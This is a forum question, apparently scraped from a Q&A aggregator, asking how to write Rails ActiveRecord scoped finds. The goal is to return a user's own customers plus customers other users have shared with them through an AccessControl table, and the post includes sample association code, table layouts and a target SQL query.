    Hi I need to find an elegant solution to scoped finds based on access control rules. Essentially I have the following setup: Users Customers AccessControl - Defines which user has access to another users data Users need to be able to access not just their own customers but also shared customers of other users. Obviously something like a simple association will not work: has_many :customers and neither will this: has_many :customers, :conditions => 'user_id in (1,2,3,4,5)' because the association uses with_scope and the added condition is an AND condition not an OR condition. I also tried overriding the find and method_missing methods with the association extension like this: has_many :customers do def find(*args) #get the user_id and retrieve access conditions based on the id #do a find based on the access conditions and passed args end def method_missing(*args) #get the user_id and retrieve access conditions based on the id #do a find based on the access conditions and passed args end end but the issue is that I don't have access to the user object / parent object inside the extension methods and it just does not work as planned. I also tried default_scope but as posted here before you can't pass a block to a default scope. Anyhow, I know that data segmentation and data access controls have been done before using rails and am wondering if somebody found an elegant way to do it. UPDATE: The AccessControl table has the following layout user_id shared_user_id The customer table has this structure: id account_id user_id first_name last_name Assuming the the following data would be in the AccessControl table: 1 1 1 3 1 4 2 2 2 13 and so on... And the account_id for user 1 is 13 I need to be able to retrieve customers that can be best described with the following sql statement: select * from customers where (account_id = 13 and user_id = null) or (user_id in (1,3,4))

    Read the article

< Previous Page | 260 261 262 263 264 265 266 267 268 269 270 271  | Next Page >